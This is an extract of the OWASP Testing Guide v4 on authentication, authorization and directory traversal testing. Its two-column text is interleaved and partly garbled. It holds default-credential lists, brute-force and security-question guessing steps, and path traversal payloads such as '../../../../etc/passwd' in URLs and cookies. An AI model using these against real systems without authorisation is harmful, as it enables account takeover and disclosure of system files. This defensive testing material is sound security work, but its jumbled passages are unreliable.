OWASP Testing Guide V4editado
OWASP Testing Guide V4editado
ery client request that produces a failed authentication. For this credentials entered during the log in process.
issue the Black Box testing and Gray Box testing have the same
concept based on the analysis of messages or error codes re- Authentication Testing
ceived from web application. Authentication (Greek: αυθεντικός = real or genuine, from ‘au-
thentes’ = author ) is the act of establishing or confirming some-
Result Expected: thing (or someone) as authentic, that is, that claims made by or
The application should answer in the same manner for every about the thing are true. Authenticating an object may mean con-
failed attempt of authentication. firming its provenance, whereas authenticating a person often
consists of verifying her identity. Authentication depends upon
For Example: one or more authentication factors.
Credentials submitted are not valid In computer security, authentication is the process of attempting
to verify the digital identity of the sender of a communication. A
common example of such a process is the log on process. Testing
Tools the authentication schema means understanding how the au-
• WebScarab: OWASP_WebScarab_Project thentication process works and using that information to circum-
• CURL: http://curl.haxx.se/ vent the authentication mechanism.
• PERL: http://www.perl.org
• Sun Java Access & Identity Manager users enumeration tool: Testing for Credentials Transported over
http://www.aboutsecurity.net an Encrypted Channel (OTG-AUTHN-001)
Summary
References Testing for credentials transport means verifying that the user’s
• Marco Mella, Sun Java Access & Identity Manager Users enu- authentication data are transferred via an encrypted channel to
meration: http://www.aboutsecurity.net avoid being intercepted by malicious users. The analysis focuses
• Username Enumeration Vulnerabilities: http://www.gnuciti- simply on trying to understand if the data travels unencrypted
zen.org/blog/username-enumeration-vulnerabilities from the web browser to the server, or if the web application
takes the appropriate security measures using a protocol like
Remediation HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the
Ensure the application returns consistent generic error messag- data that is transmitted and to ensure that user is being sent
es in response to invalid account name, password or other user towards the desired site.
credentials entered during the log in process.
Clearly, the fact that traffic is encrypted does not necessarily
Ensure default system accounts and test accounts are deleted mean that it’s completely safe. The security also depends on the
prior to releasing the system into production (or exposing it to an encryption algorithm used and the robustness of the keys that
untrusted network). the application is using, but this particular topic will not be ad-
dressed in this section.
Testing for Weak or unenforced username policy
(OTG-IDENT-005) For a more detailed discussion on testing the safety of TLS/SSL
Summary channels refer to the chapter Testing for Weak SSL/TLS. Here,
User account names are often highly structured (e.g. Joe Bloggs the tester will just try to understand if the data that users put
account name is jbloggs and Fred Nurks account name is fnurks) in to web forms in order to log in to a web site, are transmitted
and valid account names can easily be guessed. using secure protocols that protect them from an attacker.
Test objectives Nowadays, the most common example of this issue is the log in
Determine whether a consistent account name structure ren- page of a web application. The tester should verify that user’s
ders the application vulnerable to account enumeration. Deter- credentials are transmitted via an encrypted channel. In order to
mine whether the application’s error messages permit account log in to a web site, the user usually has to fill a simple form that
enumeration. transmits the inserted data to the web application with the POST
method. What is less obvious is that this data can be passed us-
How to test ing the HTTP protocol, which transmits the data in a non-secure,
• Determine the structure of account names. clear text form, or using the HTTPS protocol, which encrypts the
• Evaluate the application’s response to valid and invalid account data during the transmission. To further complicate things, there
names. is the possibility that the site has the login page accessible via
• Use different responses to valid and invalid account names to HTTP (making us believe that the transmission is insecure), but
enumerate valid account names. then it actually sends data via HTTPS. This test is done to be sure
• Use account name dictionaries to enumerate valid account that an attacker cannot retrieve sensitive information by simply
names. sniffing the network with a sniffer tool.
ture packet headers and to inspect them. You can use any web We can see that the request is addressed to www.example.
proxy that you prefer. com:443/cgi-bin/login.cgi using the HTTPS protocol. This en-
sures that our credentials are sent using an encrypted channel
Example 1: Sending data with POST method through HTTP and that the credentials are not readable by a malicious user us-
Suppose that the login page presents a form with fields User, ing a sniffer.
Pass, and the Submit button to authenticate and give access
to the application. If we look at the headers of our request with Example 3: sending data with POST method via HTTPS on a
WebScarab, we can get something like this: page reachable via HTTP
Now, imagine having a web page reachable via HTTP and that
only data sent from the authentication form are transmitted via
POST http://www.example.com/AuthenticationServlet
HTTPS. This situation occurs, for example, when we are on a por-
HTTP/1.1
tal of a big company that offers various information and services
Host: www.example.com
that are publicly available, without identification, but the site
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
also has a private section accessible from the home page when
rv:1.8.1.14) Gecko/20080404
users log in. So when we try to log in, the header of our request
Accept: text/xml,application/xml,application/xhtml+xml
will look like the following example:
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 POST https://www.example.com:443/login.do HTTP/1.1
Keep-Alive: 300 Host: www.example.com
Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
Referer: http://www.example.com/index.jsp rv:1.8.1.14) Gecko/20080404
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBd- Accept: text/xml,application/xml,application/xhtml+xml,text/html
qn98CGlkP4jTvVCGdyPkmn3S! Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip,deflate
Content-length: 64 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
delegated_service=218&User=test&Pass=test&Submit=- Connection: keep-alive
SUBMIT Referer: http://www.example.com/homepage.do
Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH-
From this example the tester can understand that the POST re- 0QNSJ3VQB6pLhjkW6F
quest sends the data to the page www.example.com/Authen- Content-Type: application/x-www-form-urlencoded
ticationServlet using HTTP. Sothe data is transmitted without Content-length: 45
encryption and a malicious user could intercept the username
and password by simply sniffing the network with a tool like User=test&Pass=test&portal=ExamplePortal
Wireshark.
Example 2: Sending data with POST method through HTTPS We can see that our request is addressed to www.example.
Suppose that our web application uses the HTTPS protocol to com:443/login.do using HTTPS. But if we have a look at the Ref-
encrypt the data we are sending (or at least for transmitting sen- erer-header (the page from which we came), it is www.example.
sitive data like credentials). In this case, when logging on to the com/homepage.do and is accessible via simple HTTP. Although
web application the header of our POST request would be similar we are sending data via HTTPS, this deployment can allow SSL-
to the following: Strip attacks (a type of Man-in-the-middle attack)
POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1 Example 4: Sending data with GET method through HTTPS
Host: www.example.com In this last example, suppose that the application transfers data
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; using the GET method. This method should never be used in a
rv:1.8.1.14) Gecko/20080404 form that transmits sensitive data such as username and pass-
Accept: text/xml,application/xml,application/xhtml+xml,text/html word, because the data is displayed in clear text in the URL and
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 this causes a whole set of security issues. For example, the URL
Accept-Encoding: gzip,deflate that is requested is easily available from the server logs or from
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 your browser history, which makes your sensitive data retriev-
Keep-Alive: 300 able for unauthorized persons. So this example is purely demon-
Connection: keep-alive strative, but, in reality, it is strongly suggested to use the POST
Referer: https://www.example.com/cgi-bin/login.cgi method instead.
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded GET https://www.example.com/success.html?user=test&-
Content-length: 50 pass=test HTTP/1.1
Host: www.example.com
Command=Login&User=test&Pass=test
68
• Try the following usernames - “admin”, “administrator”, “root”, application usernames and passwords. If a user registration page
“system”, “guest”, “operator”, or “super”. does not exist, determine if the organization uses a standard
These are popular among system administrators and are often naming convention for user names such as their email address or
used. Additionally you could try “qa”, “test”, “test1”, “testing” and the name before the “@” in the email.
similar names. Attempt any combination of the above in both the • Try to extrapolate from the application how usernames are
username and the password fields. If the application is vulnerable generated.
to username enumeration, and you manage to successfully For example, can a user choose his/her own username or does
identify any of the above usernames, attempt passwords in a the system generate an account name for the user based on
similar manner. In addition try an empty password or one of some personal information or by using a predictable sequence? If
the following “password”, “pass123”, “password123”, “admin”, the application does generate the account names in a predictable
or “guest” with the above accounts or any other enumerated sequence, such as user7811, try fuzzing all possible accounts
accounts. recursively.
Further permutations of the above can also be attempted. If If you can identify a different response from the application when
these passwords fail, it may be worth using a common username using a valid username and a wrong password, then you can try a
and password list and attempting multiple requests against the brute force attack on the valid username (or quickly try any of the
application. This can, of course, be scripted to save time. identified common passwords above or in the reference section).
• Application administrative users are often named after the • Try to determine if the system generated password is predictable.
application or organization. To do this, create many new accounts quickly after one another
This means if you are testing an application named “Obscurity”, so that you can compare and determine if the passwords
try using obscurity/obscurity or any other similar combination as are predictable. If predictable, try to correlate these with the
the username and password. usernames, or any enumerated accounts, and use them as a
• When performing a test for a customer, attempt using names basis for a brute force attack.
of contacts you have received as usernames with any common • If you have identified the correct naming convention for the user
passwords. Customer email addresses mail reveal the user name, try to “brute force” passwords with some common
accounts naming convention: if employee John Doe has the email predictable sequence like for example dates of birth.
address [email protected], you can try to find the names of • Attempt using all the above usernames with blank passwords or
system administrators on social media and guess their username using the username also as password value.
by applying the same naming convention to their name.
• Attempt using all the above usernames with blank passwords. Gray Box testing
• Review the page source and JavaScript either through a proxy The following steps rely on an entirely Gray Box approach. If only
or by viewing the source. Look for any references to users and some of this information is available to you, refer to black box
passwords in the source. testing to fill the gaps.
For example “If username=’admin’ then starturl=/admin.asp
else /index.asp” (for a successful log in versus a failed log in). • Talk to the IT personnel to determine which passwords they
Also, if you have a valid account, then log in and view every use for administrative access and how administration of the
request and response for a valid log in versus an invalid log in, application is undertaken.
such as additional hidden parameters, interesting GET request • Ask IT personnel if default passwords are changed and if default
(login=yes), etc. user accounts are disabled.
• Look for account names and passwords written in comments • Examine the user database for default credentials as described
in the source code. Also look in backup directories for source in the Black Box testing section. Also check for empty password
code (or backups of source code) that may contain interesting fields.
comments and code. • Examine the code for hard coded usernames and passwords.
• Check for configuration files that contain usernames
Testing for default password of new accounts and passwords.
It can also occur that when a new account is created in an appli- • Examine the password policy and, if the application generates its
cation the account is assigned a default password. This password own passwords for new users, check the policy in use for this
could have some standard characteristics making it predictable. If procedure.
the user does not change it on first usage (this often happens if
the user is not forced to change it) or if the user has not yet logged Tools
on to the application, this can lead an attacker to gain unautho- • Burp Intruder: http://portswigger.net/burp/intruder.html
rized access to the application. • THC Hydra: http://www.thc.org/thc-hydra/
• Brutus: http://www.hoobie.net/brutus/
The advice given before about a possible lockout policy and ver- • Nikto 2: http://www.cirt.net/nikto2
bose error messages are also applicable here when testing for
default passwords. References
Whitepapers
The following steps can be applied to test for these types of de- • CIRT http://www.cirt.net/passwords
fault credentials: • Government Security - Default Logins and Passwords for
Networked Devices http://www.governmentsecurity.org/
• Looking at the User Registration page may help to determine the articles/DefaultLoginsandPasswordsforNetworkedDevices.php
expected format and minimum or maximum length of the • Virus.org http://www.virus.org/default-password/
70
Testing for Weak lock out mechanism [5] Attempt to log in with an incorrect password 5 times.
(OTG-AUTHN-003) [6] Attempt to log in with the correct password. The application
Summary returns “Your account is locked out.”, thereby confirming that the
Account lockout mechanisms are used to mitigate brute force account is locked out after 5 incorrect authentication attempts.
password guessing attacks. Accounts are typically locked after 3 [7] Attempt to log in with the correct password 5 minutes later.
to 5 unsuccessful login attempts and can only be unlocked after a The application returns “Your account is locked out.”, thereby
predetermined period of time, via a self-service unlock mechanism, showing that the lockout mechanism does not automatically un-
or intervention by an administrator. Account lockout mechanisms lock after 5 minutes.
require a balance between protecting accounts from unauthorized [8] Attempt to log in with the correct password 10 minutes lat-
access and protecting users from being denied authorized access. er. The application returns “Your account is locked out.”, thereby
showing that the lockout mechanism does not automatically un-
Note that this test should cover all aspects of authentication lock after 10 minutes.
where lockout mechanisms would be appropriate, e.g. when [9] Successfully log in with the correct password 15 minutes later,
the user is presented with security questions during forgotten thereby showing that the lockout mechanism automatically un-
password mechanisms (see Testing for Weak security question/ locks after a 10 to 15 minute period.
answer (OTG-AUTHN-008)).
A CAPTCHA may hinder brute force attacks, but they can come
Without a strong lockout mechanism, the application may be with their own set of weaknesses (see Testing for CAPTCHA), and
susceptible to brute force attacks. After a successful brute force should not replace a lockout mechanism.
attack, a malicious user could have access to:
To evaluate the unlock mechanism’s resistance to unauthorized
• Confidential information or data: Private sections of a web account unlocking, initiate the unlock mechanism and look for
application could disclose confidential documents, users’ profile weaknesses.
data, financial information, bank details, users’ relationships, etc. Typical unlock mechanisms may involve secret questions or an
emailed unlock link. The unlock link should be a unique one-time
• Administration panels: These sections are used by webmasters link, to stop an attacker from guessing or replaying the link and
to manage (modify, delete, add) web application content, manage performing brute force attacks in batches. Secret questions and
user provisioning, assign different privileges to the users, etc. answers should be strong (see Testing for Weak Security Ques-
tion/Answer).
• Opportunities for further attacks: authenticated sections of a
web application could contain vulnerabilities that are not present Note that an unlock mechanism should only be used for unlocking
in the public section of the web application and could contain accounts. It is not the same as a password recovery mechanism.
advanced functionality that is not available to public users.
Factors to consider when implementing an account lockout mech-
Test objectives anism:
• Evaluate the account lockout mechanism’s ability to mitigate
brute force password guessing. [1] What is the risk of brute force password guessing against the
• Evaluate the unlock mechanism’s resistance to unauthorized application?
account unlocking. [2] Is a CAPTCHA sufficient to mitigate this risk?
[3] Number of unsuccessful log in attempts before lockout. If the
How to Test lockout threshold is to low then valid users may be locked out too
Typically, to test the strength of lockout mechanisms, you will often. If the lockout threshold is to high then the more attempts
need access to an account that you are willing or can afford to lock. an attacker can make to brute force the account before it will be
If you have only one account with which you can log on to the web locked. Depending on the application’s purpose, a range of 5 to 10
application, perform this test at the end of you test plan to avoid unsuccessful attempts is typical lockout threshold.
that you cannot continue your testing due to a locked account. [4] How will accounts be unlocked?
• Manually by an administrator: this is the most secure lockout
To evaluate the account lockout mechanism’s ability to mitigate method, but may cause inconvenience to users and take up the
brute force password guessing, attempt an invalid log in by using administrator’s “valuable” time.
the incorrect password a number of times, before using the correct - Note that the administrator should also have a recovery method
password to verify that the account was locked out. An example in case his account gets locked.
test may be as follows: - This unlock mechanism may lead to a denial-of-service attack
if an attacker’s goal is to lock the accounts of all users of the web
1] Attempt to log in with an incorrect password 3 times. application.
[2] Successfully log in with the correct password, thereby showing • After a period of time: What is the lockout duration?
that the lockout mechanism doesn’t trigger after 3 incorrect Is this sufficient for the application being protected? E.g. a 5 to
authentication attempts. 30 minute lockout duration may be a good compromise between
[3] Attempt to log in with an incorrect password 4 times. mitigating brute force attacks and inconveniencing valid users.
[4] Successfully log in with the correct password, thereby showing • Via a self-service mechanism: As stated before, this self-service
that the lockout mechanism doesn’t trigger after 4 incorrect mechanism must be secure enough to avoid that the attacker can
authentication attempts. unlock accounts himself.
71
References that page may not check the credentials of the user before grant-
See the OWASP article on Brute Force Attacks. ing access. Attempt to directly access a protected page through
the address bar in your browser to test using this method.
Remediation
Apply account unlock mechanisms depending on the risk level. In
order from lowest to highest assurance:
Session ID Prediction The following figure shows that with a simple SQL injection attack,
Many web applications manage authentication by using session it is sometimes possible to bypass the authentication form.
identifiers (session IDs). Therefore, if session ID generation is
predictable, a malicious user could be able to find a valid session ID
and gain unauthorized access to the application, impersonating a
previously authenticated user.
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename
. ‘_data’] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cook-
iename . ‘_data’])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
SQL Injection (HTML Form Authentication) 10. if( md5($password) == $row[‘user_password’] &&
SQL Injection is a widely known attack technique. This section is not $row[‘user_active’] )
going to describe this technique in detail as there are several sections 11.
in this guide that explain injection techniques beyond the scope of 12. {
this section. 13. $autologin = ( isset($HTTP_POST_VARS[‘autologin’]) ) ?
TRUE : 0;
14. }
a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}
73
Tools Remediation
Ensure that no credentials are stored in clear text or are easily re-
• WebScarab trievable in encoded or encrypted forms in cookies.
• WebGoat
• OWASP Zed Attack Proxy (ZAP) Testing for Browser cache weakness
(OTG-AUTHN-006)
References Summary
Whitepapers In this phase the tester checks that the application correctly in-
• Mark Roxberry: “PHPBB 2.0.13 vulnerability” structs the browser to not remember sensitive data.
• David Endler: “Session ID Brute Force Exploitation and Prediction”
- http://www.cgisecurity.com/lib/SessionIDs.pdf Browsers can store information for purposes of caching and his-
tory. Caching is used to improve performance, so that previous-
Testing for Vulnerable Remember Password ly displayed information doesn’t need to be downloaded again.
(OTG-AUTHN-005) History mechanisms are used for user convenience, so the user
Summary can see exactly what they saw at the time when the resource was
Browsers will sometimes ask a user if they wish to remember the retrieved. If sensitive information is displayed to the user (such
password that they just entered. The browser will then store the as their address, credit card details, Social Security Number, or
password, and automatically enter it whenever the same authen- username), then this information could be stored for purposes of
tication form is visited. This is a convenience for the user. caching or history, and therefore retrievable through examining
Additionally some websites will offer custom “remember me” the browser’s cache or by simply pressing the browser’s “Back”
functionality to allow users to persist log ins on a specific client button.
system.
How to Test
Having the browser store passwords is not only a convenience Browser History
for end-users, but also for an attacker. If an attacker can gain ac- Technically, the “Back” button is a history and not a cache (see
cess to the victim’s browser (e.g. through a Cross Site Scripting http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.htm-
attack, or through a shared computer), then they can retrieve the l#sec13.13). The cache and the history are two different entities.
stored passwords. It is not uncommon for browsers to store these However, they share the same weakness of presenting previously
passwords in an easily retrievable manner, but even if the brows- displayed sensitive information.
er were to store the passwords encrypted and only retrievable
through the use of a master password, an attacker could retrieve The first and simplest test consists of entering sensitive infor-
the password by visiting the target web application’s authentica- mation into the application and logging out. Then the tester clicks
tion form, entering the victim’s username, and letting the browser the “Back” button of the browser to check whether previously
to enter the password. displayed sensitive information can be accessed whilst unauthen-
ticated.
Additionally where custom “remember me” functions are put in
place weaknesses in how the token is stored on the client PC (for If by pressing the “Back” button the tester can access previous
example using base64 encoded credentials as the token) could pages but not access new ones, then it is not an authentication
expose the users passwords. Since early 2014 most major brows- issue, but a browser history issue. If these pages contain sensitive
ers will override any use of autocomplete=”off” with regards to data, it means that the application did not forbid the browser from
password forms and as a result previous checks for this are not storing it.
required and recommendations should not commonly be given for
disabling this feature. However this can still apply to things like Authentication does not necessarily need to be involved in the
secondary secrets which may be stored in the browser inadver- testing. For example, when a user enters their email address in
tently. order to sign up to a newsletter, this information could be retriev-
able if not properly handled.
How to Test
• Look for passwords being stored in a cookie. The “Back” button can be stopped from showing sensitive data.
Examine the cookies stored by the application. This can be done by:
Verify that the credentials are not stored in clear text, but are
hashed. • Delivering the page over HTTPS.
• Examine the hashing mechanism: if it is a common, well-known • Setting Cache-Control: must-re-validate
algorithm, check for its strength; in homegrown hash functions,
attempt several usernames to check whether the hash function Browser Cache
is easily guessable. Here testers check that the application does not leak any sen-
• Verify that the credentials are only sent during the log sitive data into the browser cache. In order to do that, they can
in phase, and not sent together with every request use a proxy (such as WebScarab) and search through the server
to the application. responses that belong to the session, checking that for every
• Consider other sensitive form fields (e.g. an answer to a secret page that contains sensitive information the server instructed the
question that must be entered in a password recovery browser not to cache any data. Such a directive can be issued in
or account unlock form). the HTTP response headers:
74
• OWASP Zed Attack Proxy They are typically generated upon account creation and require
• Firefox add-on CacheViewer2 the user to select from some pre-generated questions and supply
an appropriate answer. They may allow the user to generate their
References own question and answer pairs. Both methods are prone to inse-
Whitepapers curities.Ideally, security questions should generate answers that
• Caching in HTTP are only known by the user, and not guessable or discoverable by
75
anybody else. This is harder than it sounds. supplied security answers trigger a lockout mechanism.
Security questions and answers rely on the secrecy of the answer. The first thing to take into consideration when trying to exploit
Questions and answers should be chosen so that the answers security questions is the number of questions that need to be an-
are only known by the account holder. However, although a lot of swered. The majority of applications only need the user to answer
answers may not be publicly known, most of the questions that a single question, whereas some critical applications may require
websites implement promote answers that are pseudo-private. the user to answer two or even more questions.
The next step is to assess the strength of the security questions.
Pre-generated questions: Could the answers be obtained by a simple Google search or with
The majority of pre-generated questions are fairly simplistic in na- social engineering attack? As a penetration tester, here is a step-
ture and can lead to insecure answers. For example: by-step walk-through of exploiting a security question scheme:
• The answers may be known to family members or close friends [1] Does the application allow the end-user to choose the ques-
of the user, e.g. “What is your mother’s maiden name?”, “What is tion that needs to be answered? If so, focus on questions which
your date of birth?” have:
• The answers may be easily guessable, e.g. “What is your favorite • A “public” answer; for example, something that could be find
color?”, “What is your favorite baseball team?” with a simple search-engine query.
• The answers may be brute forcible, e.g. “What is the first name • A factual answer such as a “first school” or other facts which can
of your favorite high school teacher?” - the answer is probably be looked up.
on some easily downloadable lists of popular first names, and • Few possible answers, such as “what model was your first car”.
therefore a simple brute force attack can be scripted. These questions would present the attacker with a short list of
• The answers may be publicly discoverable, e.g. “What is your possible answers, and based on statistics the attacker could rank
favorite movie?” - the answer may easily be found on the user’s answers from most to least likely.
social media profile page.
[2] Determine how many guesses you have if possible.
Self-generated questions: • Does the password reset allow unlimited attempts?
The problem with having users to generate their own questions is • Is there a lockout period after X incorrect answers? Keep in mind
that it allows them to generate very insecure questions, or even that a lockout system can be a security problem in itself, as it can
bypass the whole point of having a security question in the first be exploited by an attacker to launch a Denial of Service against
place. Here are some real world examples that illustrate this point: legitimate users.
• “What is 1+1?” [3] Pick the appropriate question based on analysis from the
• “What is your username?” above points, and do research to determine the most likely an-
• “My password is M3@t$p1N” swers.
How to Test The key to successfully exploiting and bypassing a weak security
Testing for weak pre-generated questions: question scheme is to find a question or set of questions which
Try to obtain a list of security questions by creating a new account give the possibility of easily finding the answers. Always look for
or by following the “I don’t remember my password”-process. Try questions which can give you the greatest statistical chance of
to generate as many questions as possible to get a good idea of guessing the correct answer, if you are completely unsure of any
the type of security questions that are asked. If any of the security of the answers. In the end, a security question scheme is only as
questions fall in the categories described above, they are vulner- strong as the weakest question.
able to being attacked (guessed, brute-forced, available on social
media, etc.). References
The Curse of the Secret Question
Testing for weak self-generated questions:
Try to create security questions by creating a new account or by Testing for weak password change or reset
configuring your existing account’s password recovery properties. functionalities (OTG-AUTHN-009)
If the system allows the user to generate their own security ques- Summary
tions, it is vulnerable to having insecure questions created. If the The password change and reset function of an application is a
system uses the self-generated security questions during the for- self-service password change or reset mechanism for users. This
gotten password functionality and if usernames can be enumer- self-service mechanism allows users to quickly change or reset
ated (see Testing for Account Enumeration and Guessable User their password without an administrator intervening. When pass-
Account (OTG-IDENT-004)), then it should be easy for the tester words are changed they are typically changed within the applica-
to enumerate a number of self-generated questions. It should be tion. When passwords are reset they are either rendered within
expected to find several weak self-generated questions using this the application or emailed to the user. This may indicate that the
method. passwords are stored in plain text or in a decryptable format.
Note that the focus of this test is on alternative channels; some For each possible channel confirm whether user accounts are
authentication alternatives might appear as different content shared across these, or provide access to the same or similar
delivered via the same website and would almost certainly be functionality.
in scope for testing. These are not discussed further here, and
should have been identified during information gathering and pri- Enumerate authentication functionality
mary authentication testing. For example: For each alternative channel where user accounts or functionality
are shared, identify if all the authentication functions of the pri-
• Progressive enrichment and graceful degradation that change mary channel are available, and if anything extra exists. It may be
functionality useful to create a grid like the one below:
• Site use without cookies In this example, mobile has an extra function “change password”
• Site use without JavaScript
• Site use without plugins such as for Flash and Java phpBB Mobile Call Center Partner Website
Register Yes - -
Even if the scope of the test does not allow the alternative chan- Log in Yes Yes Yes (SSO)
nels to be tested, their existence should be documented. These Log out - - -
may undermine the degree of assurance in the authentication Password reset Yes Yes -
mechanisms and may be a precursor to additional testing. - Change password - -
Example
The primary website is:
but does not offer “log out”. A limited number of tasks are also
http://www.example.com possible by phoning the call center. Call centers can be interesting,
because their identity confirmation checks might be weaker than
the website’s, allowing this channel to be used to aid an attack
and authentication functions always take place on pages using against a user’s account.
Transport Layer Security:
While enumerating these it is worth taking note of how session
management is undertaken, in case there is overlap across any
https://www.example.com/myaccount/
channels (e.g. cookies scoped to the same parent domain name,
concurrent sessions allowed across channels, but not on the same
channel).
However, a separate mobile-optimized website exists that does
not use Transport Layer Security at all, and has a weaker pass- Review and test
word recovery mechanism: Alternative channels should be mentioned in the testing report,
even if they are marked as “information only” and/or “out of
scope”. In some cases the test scope might include the alterna-
http://m.example.com/myaccount/
tive channel (e.g. because it is just another path on the target host
name), or may be added to the scope after discussion with the
owners of all the channels. If testing is permitted and authorized,
How to Test all the other authentication tests in this guide should then be per-
Understand the primary mechanism formed, and compared against the primary channel.
Fully test the website’s primary authentication functions. This
should identify how accounts are issued, created or changed and Related Test Cases
how passwords are recovered, reset, or changed. Additionally The test cases for all the other authentication tests should be uti-
knowledge of any elevated privilege authentication and authen- lized.
tication protection measures should be known. These precursors
are necessary to be able to compare with any alternative channels. Remediation
Ensure a consistent authentication policy is applied across all
Identify other channels channels so that they are equally secure.
Other channels can be found by using the following methods:
Authorization Testing
• Reading site content, especially the home page, contact us, help Authorization is the concept of allowing access to resources only
pages, support articles and FAQs, T&Cs, privacy notices, the ro- to those permitted to use them. Testing for Authorization means
bots.txt file and any sitemap.xml files. understanding how the authorization process works, and using
• Searching HTTP proxy logs, recorded during previous informa- that information to circumvent the authorization mechanism.
tion gathering and testing, for strings such as “mobile”, “android”,
blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, Authorization is a process that comes after a successful authen-
“auth”, “sso”, “single sign on” in URL paths and body content. tication, so the tester will verify this point after he holds valid cre-
• Use search engines to find different websites from the same dentials, associated with a well-defined set of roles and privileges.
organization, or using the same domain name, that have similar During this kind of assessment, it should be verified if it is possible
home page content or which also have authentication mecha- to bypass the authorization schema, find a path traversal vulnera-
nisms. bility, or find ways to escalate the privileges assigned to the tester.
78
Testing Directory traversal/file include Here are some examples of the checks to be performed at this stage:
(OTG-AUTHZ-001)
Summary • Are there request parameters which could be used for file-related
Many web applications use and manage files as part of their daily operations?
operation. Using input validation methods that have not been well • Are there unusual file extensions?
designed or deployed, an aggressor could exploit the system in or- • Are there interesting variable names?
der to read or write files that are not intended to be accessible. In
particular situations, it could be possible to execute arbitrary code http://example.com/getUserProfile.jsp?item=ikki.html
or system commands. http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
Traditionally, web servers and web applications implement au-
thentication mechanisms to control access to files and resources.
Web servers try to confine users’ files inside a “root directory” or • Is it possible to identify cookies used by the web application for the
“web document root”, which represents a physical directory on the dynamic generation of pages or templates?
file system. Users have to consider this directory as the base di-
rectory into the hierarchical structure of the web application.
The definition of the privileges is made using Access Control Lists Cookie: ID=d9ccd3f4f9f18cc1:T-
(ACL) which identify which users or groups are supposed to be M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
able to access, modify, or execute a specific file on the server. TEMPLATE=flower
These mechanisms are designed to prevent malicious users from Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
accessing sensitive files (for example, the common /etc/passwd
file on a UNIX-like platform) or to avoid the execution of system
commands. Testing Techniques
The next stage of testing is analyzing the input validation functions
Many web applications use server-side scripts to include different present in the web application. Using the previous example, the dy-
kinds of files. It is quite common to use this method to manage im- namic page called getUserProfile.jsp loads static information from a
ages, templates, load static texts, and so on. Unfortunately, these file and shows the content to users. An attacker could insert the mali-
applications expose security vulnerabilities if input parameters (i.e., cious string “../../../../etc/passwd” to include the password hash file of
form parameters, cookie values) are not correctly validated. a Linux/UNIX system. Obviously, this kind of attack is possible only if
the validation checkpoint fails; according to the file system privileges,
In web servers and web applications, this kind of problem arises the web application itself must be able to read the file.
in path traversal/file include attacks. By exploiting this kind of vul-
nerability, an attacker is able to read directories or files which they To successfully test for this flaw, the tester needs to have knowledge
normally couldn’t read, access data outside the web document root, of the system being tested and the location of the files being request-
or include scripts and other kinds of files from external websites. ed. There is no point requesting /etc/passwd from an IIS web server.
For the purpose of the OWASP Testing Guide, only the securi-
http://example.com/getUserProfile.jsp?item=../../../../etc/
ty threats related to web applications will be considered and not
passwd
threats to web servers (e.g., the infamous “%5c escape code” into
Microsoft IIS web server). Further reading suggestions will be pro-
vided in the references section for interested readers.
For the cookies example:
This kind of attack is also known as the dot-dot-slash attack (../),
directory traversal, directory climbing, or backtracking. Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
How to Test
Black Box testing The following example will demonstrate how it is possible to show
Input Vectors Enumeration the source code of a CGI component, without using any path traversal
In order to determine which part of the application is vulnerable to characters.
input validation bypassing, the tester needs to enumerate all parts
of the application that accept content from the user. This also in-
http://example.com/main.cgi?home=main.cgi
cludes HTTP GET and POST queries and common options like file
uploads and HTML forms.
79
The component called “main.cgi” is located in the same directory as • Extraneous parent directory markers with arbitrary items that
the normal HTML static files used by the application. In some cases may or may not exist
the tester needs to encode the requests using special characters (like
the “.” dot, “%00” null, ...) in order to bypass file extension controls or to Examples:
prevent script execution.
– file.txt
Tip: It’s a common mistake by developers to not expect every form of – file.txt...
encoding and therefore only do validation for basic encoded content. – file.txt<spaces>
If at first the test string isn’t successful, try another encoding scheme. – file.txt””””
Each operating system uses different characters as path separa- – file.txt<<<>>><
tor: – ./././file.txt
– nonexistant/../file.txt
Unix-like OS:
root directory: “/” • Windows API: The following items are discarded when used in any
directory separator: “/” shell command or API call where a string is taken as a filename:
periods
Windows OS’ Shell’:
spaces
\\server_or_ip\path\to\file.abc
We should take in to account the following character encoding \\?\server_or_ip\path\to\file.abc
mechanisms:
